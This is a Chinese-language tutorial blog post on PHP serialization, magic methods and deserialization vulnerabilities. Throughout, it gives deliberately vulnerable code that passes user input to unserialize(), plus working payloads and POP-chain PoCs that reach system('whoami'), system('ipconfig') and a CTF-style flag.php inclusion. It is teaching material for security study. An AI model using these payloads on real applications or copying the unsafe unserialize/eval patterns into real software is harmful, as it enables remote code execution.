作者:凌度
1. 序列化的基础:
序列化是将对象的状态信息(属性)转化为可以存储或传输的形式的过程
序列化:对象转化为字符串,可以使用 serialize()
反序列化:字符串转化为对象 unserialize()
1. 字符串序列化:
<?php $val=null; $val1=666; $val2=66.6; $val3=true; $val4=false; $val5='lingdu'; echo $val; echo "<br>"; echo $val1; echo "<br>"; echo $val2; echo "<br>"; echo $val3; echo "<br>"; echo $val4; echo "<br>"; echo $val5; echo "<br>"; echo serialize($val); echo "<br>"; echo serialize($val1); echo "<br>"; echo serialize($val2); echo "<br>"; echo serialize($val3); echo "<br>"; echo serialize($val4); echo "<br>"; echo serialize($val5); ?>
<?php $a=array('benben','dazhuang','laoliu'); echo serialize($a); ?>
2. 对象序列化:
<?php highlight_file(__FILE__); class test{ public $pub='benben'; function jineng(){ echo $this->pub; } } $a = new test(); echo serialize($a); ?> O:4:"test":1:{s:3:"pub";s:6:"benben";}
3. 带私有属性对象反序列化:
<?php highlight_file(__FILE__); class test{ private $pub='benben'; function jineng(){ echo $this->pub; } } $a = new test(); echo serialize($a); ?> O:4:"test":1:{s:9:"testpub";s:6:"benben";}
4. 受保护属性序列化时:
<?php // highlight_file(__FILE__); class test{ protected $pub='benben'; function jineng(){ echo $this->pub; } } $a = new test(); echo serialize($a); // 输出 O:4:"test":1:{s:6:"%00*%00pub";s:6:"benben";} ?>
5. 对象中调用对象成员属性:
<?php // highlight_file(__FILE__); class test{ var $pub='benben'; function jineng(){ echo $this->pub; } } class test2{ var $ben; function __construct(){ $this->ben=new test(); } } $a = new test2(); echo serialize($a); //O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}} ?>
这里一定要注意理解, O:4:"test":1:{s:3:"pub";s:6:"benben";} 相当于是 ben 的 value 值
当然你也可以换一种方式去实现,如下所示:
<?php //highlight_file(__FILE__); class test{ var $pub='benben'; function jineng(){ echo $this->pub; } } class test2{ var $ben; } $a = new test(); $b= new test2(); $a->pub=$b; echo serialize($a); //O:5:"test2":1:{s:3:"ben";O:4:"test":1:{s:3:"pub";s:6:"benben";}} ?>
总结:
在序列化的时候,里面的方法是不会被序列化,只会序列化里面的变量,而在序列化变量的时候,里面的私有属性要有一个值得注意的点,就是它会在类名和变量名前面加个
%00,
例如上面对 $pub 进行私有化处理的时候,
O:4:"test":1:{s:9:" test pub";s:6:"benben";}
test 和 pub 实际上是有一个前面是有一个空字符的,也就是 %00
当然我们也可以通过 burp 的解码功能进行查看,你会发现前面就是存在两个 00 ,而这个 00 在 url 编码中就是一个空字符
受保护属性和对象中调用成员属性的特点,前面都是有的,这里进行省略
2. 反序列化的特性:
1. 反序列化之后的内容为一个对象:
2. 反序列化生成的对象里的值,由反序列化里的值提供,又原有类定义的值无关:
3. 反序列化不触发的成员方法,需要进行调用才会触发,当然不排除一些魔术方法:
这里我们如果使用 var_dump() 去输出的话,也是不能输出其方法的,只能输出其属性的数值
<?php highlight_file(__FILE__); class test { public $a = 'benben'; protected $b = 666; private $c = false; public function displayVar() { echo $this->a; } } $d = new test(); $d = serialize($d); echo $d."<br />"; echo urlencode($d)."<br />"; $a = urlencode($d); $b = unserialize(urldecode($a)); // echo 是不能输出对象的。这里要注意,可以使用 var_dump var_dump($b); ?>
接下来我们来玩一玩反序列化:
<?php // highlight_file(__FILE__); class test { public $a = 'benben'; protected $b = 666; private $c = false; public function displayVar() { echo $this->a; } } $d = new test(); $d = serialize($d); echo $d;
O:4:"test":3:{s:1:"a";s:6:"benben";s:4:" * b";i:666;s:7:" test c";b:0;}
接下来我们对上述字符串进行反序列化:我们需要添加 %00 ,前面已经说了的
<?php $d = 'O:4:"test":3:{s:1:"a";s:6:"benben";s:4:"%00*%00b";i:666;s:7:"%00test%00c";b:0;}'; $d=urldecode($d); //echo $d; var_dump(unserialize($d)); // 输出结果 /* object(__PHP_Incomplete_Class)#1 (4) { ["__PHP_Incomplete_Class_Name"]=> string(4) "test" ["a"]=> string(6) "benben" ["b":protected]=> int(666) ["c":"test":private]=> bool(false) }*/ ?>
3. 反序列化漏洞原理:
反序列化过程中,unserialize()接受的值(字符串)可控的话,我们可以通过更改这个值(字符串),得到所需要的代码,即生成的对象的属性值
1. 反序列化例题:
先看看基础代码,然后我们来进行相应的修改:
<?php class test{ public $a="echo 'this test!';"; public function display(){ eval($this->a); } } $c=new test(); // 这个函数会自动调用,因为后面有个 (),然后它就会去执行 display 函数 // 也就是输出 $a 变量的值 $c->display(); ?>
理解上面这个代码,接下来我们就从反序列化漏洞原理出发,也就是如果我们能够让
$a 是一个我们可以控制的参数的话,那么我们是不是可以执行我们想执行的一些操作了
我这里使用 _GET() 去接收参数,改进后的代码如下:
<?php class test { public $a = "system('iconfig');"; public function display() { eval($this->a); } } $e=new test(); echo serialize($e); // 对 test 进行字符串序列化之后是如下内容 // O:4:"test":1:{s:1:"a";s:19:"system('ipconfig');";} $get = $_GET["shell"]; // 对传递的参数进行字符串序列化,然后从而去调用里面的 display 函数,从而执行 eval 里内容 $get = unserialize($get); $get->display(); ?>
接下来我们就在里面去输入一个反序列化后的内容,通过 ?shell=O:4:"test":1:{s:1:"a";s:19:"system('ipconfig');";} 进行传参即可
然后发现是可以成功的,只不过是乱码现象,执行的就是 system(ipconfig)命令0
到这里结束,我们就可以进行一次总结了,反序列化漏洞的产生的本质,实际上就是客户端可以对参数进行可控,服务端没有进行相应的过滤而产生的,这也再次验证了,有输入的位置就可能存在漏洞。
4. php 中的魔术方法:
1. 浅谈魔术方法:
其实就是预定义的一些方法,比如说你如果要去洗澡的话,你是不是要托衣服,那么你去洗澡就会默认出发脱衣服这件事
2. 魔术方法举例:
3. 魔术方法使用案例:
1. _construct() 魔术方法的使用:
当你实例话对象的时候,它就会去从出发里面的魔术方法的内容
<?php class User { public $username; public function __construct($username) { $this->username = $username; echo "触发了构造函数1次" ; } } $test = new User("benben"); $ser = serialize($test); unserialize($ser); ?>
2. _destruct() 魔术方法的使用:
触发条件:反序列化过程中会触发该条件
<?php class User { public function __destruct() { echo "触发了析构函数1次"."<br />" ; } } $test = new User("benben"); $ser = serialize($test); unserialize($ser); // 输出结果:触发了析构函数1次<br />触发了析构函数1次<br /> ?>
3. _sleep() 魔术方法:
_sleep()方法:在序列化类中,会首先去检查类中是否存在一个魔术方法 _sleep(),如果存在,该方法会被调用,然后才执行序列化操作
该方法返回的是一个数组,数组里包含的是被序列化存储的成员属性,相当于是进行一个过滤操作,在对象被序列化之前,我们使用 _sleep()方法进行数据过滤,过滤出我们需要的变量
在如下代码中,我们 16 行代码 new 一个对象的时候进行了一个数据的传参,传入 a,b,c
然后 new 对象的时候,会触发 _construct()方法,然后把 a,b,c 三个变量传到
$username,$nickname,$password 三个变量,也就是 $username=a,$nickname=b,$password=c
接下来在 17 行中。我们及逆行序列化的操作,在序列化操作之前,由于发现存在 _sleep()方法,因此会触发该方法,然后我们 13 行,返回的是一个数组,数组里面是 username 和
nickname 的,也就意味这对 $password 这个变量进行了过滤,从而只序列化 $username和
$nickname 这两个变量
<?php class User { const SITE = 'uusama'; public $username; public $nickname; private $password; public function __construct($username, $nickname, $password) { $this->username = $username; $this->nickname = $nickname; $this->password = $password; } public function __sleep() { system($this->username); } } $cmd = $_GET['benben']; $user = new User($cmd, 'b', 'c'); echo serialize($user); ?>
_sleep()函数你需要知道的一点是它什么时候进行触发(序列化对象之前需要检查是否存在该魔术方法,如果有,那么先触发 _sleep 这个魔术方法),这一点很重要,而它通常是用来进行过滤作用的
4. _weakup() 魔术方法:
_weakup()函数刚好喝 _sleep()魔术方法是相反的,它是在反序列化的时候,需要检查是否存在有这个魔术方法,如果有的话,那么先触发这个魔术方法
反序列化过程:反序列化 User 过程中,由于 User 类里面有 _wakeup()魔术方法,因此会执行里面的魔术方法,也就是 $password=$username,就是 $username 和 $password 是相同的值
首先我们将 username 赋予 a,nickname 赋予 b,然后由于 _weak 魔术方法里面执行了语句,因此原本为 null 值的 $password 也有了值,就是 $username 的值 $password=$username=a
<?php // highlight_file(__FILE__); // error_reporting(0); class User { const SITE = 'uusama'; public $username; public $nickname; private $password; private $order; public function __wakeup() { $this->password = $this->username; } } $user_ser = 'O:4:"User":2:{s:8:"username";s:1:"a";s:8:"nickname";s:1:"b";}'; var_dump(unserialize($user_ser)); // 输出结果 /* object(User)#1 (4) { ["username"]=> string(1) "a" ["nickname"]=> string(1) "b" ["password":"User":private]=> string(1) "a" ["order":"User":private]=> NULL } */ ?>
下面我们看一个反序列化执行危险函数 system()的案例:
<?php highlight_file(__FILE__); error_reporting(0); class User { const SITE = 'uusama'; public $username; public $nickname; private $password; private $order; public function __wakeup() { system($this->username); } } $user_ser = $_GET['benben']; unserialize($user_ser); ?>
构造 payload 如下所示:让 $username 为 ipconfig 然后执行
执行结果如下:
5. _toString()魔术方法:
触发条件:当你把一个对象当成字符串的时候,就会触发里面的 _toString()方法
例如:$a=new User(); echo $a; 此时就会触发 _toString()方法
<?php //highlight_file(__FILE__); //error_reporting(0); class User { var $benben = "this is test!!"; public function __toString() { return '格式不对,输出不了!'; } } $test = new User() ; print_r($test); echo "<br />"; echo $test; /* 输出结果: User Object ( [benben] => this is test!! ) <br />格式不对,输出不了! */ ?>
由于 echo 是只能够输出字符串类型的,因此我们如果使用 echo 去输出一个对象的话,那么我们将会报错,如果你不想进行报错,那么里面需要有一个魔术方法,_toString(),如果要去输出一个对象的话,我们不能使用 echo ,但是我们是可以使用 var_dump()和 print_r()这两函数
6. _invoke() 魔术方法:
触发条件:当你错误把一个对象当成一个函数去执行的时候,那么此时就会执行 __invoke()魔术方法里面的内容
<?php class User { var $benben = "this is test!!"; public function __invoke() { echo '它不是个函数!'; } } $test = new User() ; echo $test ->benben; echo "<br />"; echo $test() ->benben; ?>
由于创建了一个 $test 对象,接下来我们输出其里面的 $benben,然后对该对象进行了 ()处理,也就是把它当成一个函数进行了,然后就触发了里面的 _invoke()魔术方法
5. 错误调用属性或方法触发的魔术方法:
1. _call() 魔术方法:
当你调用类里面的方法的时候,如果你调用的方法是类里面不存在的一个的话,那么就会触发
_call()方法,并且需要注意的一点是,_call()方法里面的两个参数是必需值,返回的就是错误调用方法的名称和错误调用方法传入的参数,其中第二个 $arg 返回的是一个数组
<?php //highlight_file(__FILE__); //error_reporting(0); class User { public function __call($arg1,$arg2) { echo "$arg1,$arg2[0]"; } } $test = new User() ; $test -> callxxx('a'); // 输出结果: // 打电话给xxx,a ?>
2. _callStatic() 魔术方法:
触发条件就是静态调用或调用成员常量时使用的方法不存在的时候触发
该魔术方法同样需要两个参数,第一个参数是返回函数名称,第二个参数是返回传入的参数,同样返回的是数组的类型
<?php // highlight_file(__FILE__); // error_reporting(0); class User { public static function __callStatic($arg1,$arg2) { echo "$arg1,$arg2[0]"; } } $test = new User() ; $test::callxxx('a'); ?>
3. _get() 魔术方法:
触发条件,当你调用的成员属性不存在的时候,那么就会触发 _get()魔术方法
<?php //highlight_file(__FILE__); //error_reporting(0); class User { public $var1; public function __get($arg1) { echo $arg1; } } $test = new User() ; $test ->var2; ?>
4. _set() 魔术方法:
触发条件,_set() 魔术方法刚好是和 _get() 方法相反的,_get() 是获取方法,_set() 是给成员赋值
<?php // highlight_file(__FILE__); // error_reporting(0); class User { public $var1; public function __set($arg1 ,$arg2) { echo $arg1.','.$arg2; } } $test = new User() ; $test ->var2=1; ?>
5. _isset() 魔术方法:
触发条件:在对不可访问的对象里面的属性,例如 provite 属性,使用 isset() 或者 empty() 的时候,_isset() 会被调用,返回的是不存在属性的名称。当然如果是没有存在的属性的时候,也会被调用该魔术方法
<?php // highlight_file(__FILE__); // error_reporting(0); class User { private $var; public function __isset($arg1 ) { echo $arg1; } } $test = new User() ; isset($test->var); ?>
6. _unset() 魔术方法:
unset() 魔术方法的触发条件是和 isset() 相同的
<?php //highlight_file(__FILE__); //error_reporting(0); class User { private $var; public function __unset($arg1 ) { echo $arg1; } } $test = new User() ; unset($test->var); ?>
7. _clone() 魔术方法:
触发方法,当你去使用 clone 去克隆一个对象的时候,会触发该魔术方法
<?php // highlight_file(__FILE__); // error_reporting(0); class User { private $var; public function __clone( ) { echo "__clone test"; } } $test = new User() ; $newclass = clone($test) ?>
6. 总结:魔术方法触发条件
7. pop 链前置知识1:
接下来我们进行一道 php 代码审计的题目,这道题务必理解,因为是为之后构造 pop 链打基础
这是一个可以被利用执行 eval()命令的代码。需要我们分析然后去构造 poc
<?php //highlight_file(__FILE__); //error_reporting(0); class index { private $test; public function __construct(){ $this->test = new normal(); } public function __destruct(){ $this->test->action(); } } class normal { public function action(){ echo "please attack me"; } } class evil { var $test2; public function action(){ eval($this->test2); } } unserialize($_GET['test']); ?>
1. 代码分析过程:
1. 寻找利用点:
在上面的代码中,我们可以清楚地看到一个 php 中的危险函数,eval(),那么观察可得,如果我们能够执行 evil 类里面的 action 方法的话,那么这就危险了
2. 寻找可以执行 action()方法的类:
观察发现可以执行 action()方法的有很多,由于我们这里使用的是 unserilize()进行参数的传递,因此我们需要考虑的是 _destruct()方法去利用,而不是 _construct()方法
我们需要考虑的一点是当我们进行 get 传递参数的时候,如何才能够调用 eval()当中的 action()方法。而如果要调用 eval()里面的 action()方法的话,我们只需要将 $test 赋值成
eval()对象即可实现调用
3. poc 构造:
1. poc 构造方法一:
<?php //highlight_file(__FILE__); //error_reporting(0); class index { // 注意 $test 是不能够直接进行赋值 eval() 对象的 private $test; public function __construct() { $this->test = new evil(); } // public function __destruct(){ // $this->test->action(); // } } //class normal { // public function action(){ // echo "please attack me"; // } //} class evil { var $test2 = "system('whoami');"; public function action() { eval($this->test2); } } //unserialize($_GET['test']); $poc = new index(); echo urlencode(serialize($poc)); // 输出结果:O%3A5%3A%22index%22%3A1%3A%7Bs%3A11%3A%22%00index%00test%22%3BO%3A4%3A%22evil%22%3A1%3A%7Bs%3A5%3A%22test2%22%3Bs%3A17%3A%22system%28%27whoami%27%29%3B%22%3B%7D%7D echo "<br>"; echo serialize($poc); // 输出结果:O:5:"index":1:{s:11:" index test";O:4:"evil":1:{s:5:"test2";s:17:"system('whoami');";}} ?>
然后我们将这个 $poc 进行传参,这里我们需要注意的一点是,若果涉及到 protect ,private
这种关键词的话,我们需要对 poc 进行编码
2. poc 构造方法二:
上面我们是利用 ——constrct()去构造 poc
下面我们直接在 index 类里面去构造
3. poc 错误构造案例:
这里我最开始认为:当你进行参数传递的时候,也就是传入到原来 unserilize()代码中的时候,会触发 _destruct()里面方法,让 $test 指向一个 eval()函数
但是你忽略了一个点,逻辑是没错的,但是你这里错的一点是,序列化和反序列化过程中,只会体现类里面的常量是啥,而不会改变类里面的方法中的内容
$test 这个变量赋值给一个 eval()
<?php //highlight_file(__FILE__); //error_reporting(0); class index { private $test; public function __destruct() { $this->test = new evil(); $this->test->action(); } } class evil { public $test2 = "system('whoami');"; public function action() { eval($this->test2); } } //unserialize($_GET['test']); $poc = new index(); echo urlencode(serialize($poc)); echo "<br>"; echo serialize($poc); //var_dump($poc); ?>
4. poc 构造简洁方法:
直接赋值法:
首先你要清楚你的目的,你是想让 index 类里面的 $test 变为一个 eval 类,从而达到执行代码的目的
利用赋值法去编写 poc 的时候,我们需要考虑到 private 和 protect 不能赋值的情况,这个时候我们需要原来的 private 和 protect 修改为 var 和 public ,然后进行修改
<?php class index { var $test; } class evil { var $test2; } $a = new evil(); $a->test2 = 'system("ls -l");'; $b = new index(); $b->test = $a; echo serialize($b); ?>
8. pop 链前置知识2:
<?php class fast { public $source; public function __wakeup() { echo "wakeup is here!!"; echo $this->source; } } class sec { var $benben; public function __tostring() { echo "tostring is here!!"; } } $b = $_GET['benben']; unserialize($b); ?>
上面是不会触发 __toString()魔术方法的,下面介绍将如何修改,触发 __toString()魔术方法
9. pop 链构造解释:
这一相关内容特别烧脑,是根据源码进行 poc 的编写,编写 pop 链。
下面这个例题要研究明白
我们设置一个目标,输出 echo 输出 $flag,$flag 的名称为 flag.php
而 $flag 它是在 flag.php 里面的变量,因此我们需要将 flag.php 这个文件进行包含,从而输出
$flag
接下来我们来分析这个代码,还是逆推法
- 明确我们的目标,输出 $flag
- $flag 是通过传参 $value (flag.php)进行获取的
- 想通过 $value 传参,你需要去执行 append()方法
- append()方法不是魔术方法,就是一个公共的方法,因此你需要看其它的方法,看什么方法能够去执行 append()方法
- 我们看到在 Modifier()类里面有个 __invoke()魔术方法,可以在我们把 Modifer 当成一个函数去执行的时候就会去调用 append()方法,并且会将 $this-> 里面的 var 进行传参,而此时这个 $var 就是我们应该预定义的变量,$var=flag.php
- 接下来我们就是去考虑如何触发 __invoke()魔术方法,我们仔细观察可以发现一点是,唯一能够让 Modifier()类当成函数去执行的只有 Test 类里面的 __get($key),当你使用 Test 类里面的数据的时候,如果里面的数据不存在,那么就会执行 __get()魔术方法,执行魔术方法之后,通过提前已经预定义的 $p ,我们将 $p 预定义为一个 Modifier 类,然后在 33 行把 Modifier 这个类当成函数去执行,从而触发 Modifier 类里面的 __invoke 魔术方法
- 接下来我们就应该去考虑如何去触发 __get 魔术方法了,我们看到 Show 类里面有两个魔术方法,__wakeup 魔术方法是去输出 $this->source ,它是不能够去触发 Test 类里面方法,但是如果你是能够触发 __toString 魔术方法,我们只需要将 $str 赋值成为 Test 类,由于 Test 类里面是不存在 $source 变量的,因此会触发 Test 里面的 __get 魔术方法
- 接下来就是考虑如何才能去触发 __toString 魔术方法,我们看到有一个 __wakeup 魔术方法,也就是当你去反序列化对象的时候,就会触发 __wakeup 魔术方法,触发了之后,echo会输出 $source 这个变量,而如果你此时将 $souce 赋值为它本身,也就是 Show 类,这个时候就会触发 __toString()方法
- 逆向分析完毕,下一步就是写 poc 代码了
<?php //flag is in flag.php class Modifier { private $var; public function append($value) { include($value); echo $flag; } public function __invoke(){ $this->append($this->var); } } class Show{ public $source; public $str; public function __toString(){ return $this->str->source; } public function __wakeup(){ echo $this->source; } } class Test{ public $p; public function __construct(){ $this->p = array(); } public function __get($key){ $function = $this->p; return $function(); } } if(isset($_GET['pop'])){ unserialize($_GET['pop']); } ?>
poc(Proof of concept) 概念验证,就是验证漏洞是否存在的意思,编写一个代码去验证是否存在该漏洞的代码
接下来我们传参,输出结果如下:
<?php class Modifier { private $var='flag.php'; // var $var; } class Show { public $source; public $str; } class Test { public $p; } $Class_Modifier = new Modifier(); $Class_Show = new Show(); $Class_Test = new Test(); $Class_Show->str = $Class_Test; $Class_Show->source = $Class_Show; $Class_Test->p=$Class_Modifier; echo serialize($Class_Show); //a='O:4:"Show":2:{s:6:"source";O:4:"Test":1:{s:1:"p";O:8:"Modifier":1:{s:13:"%00Modifier%00var";s:8:"flag.php";}}s:3:"str";r:1;}' ?>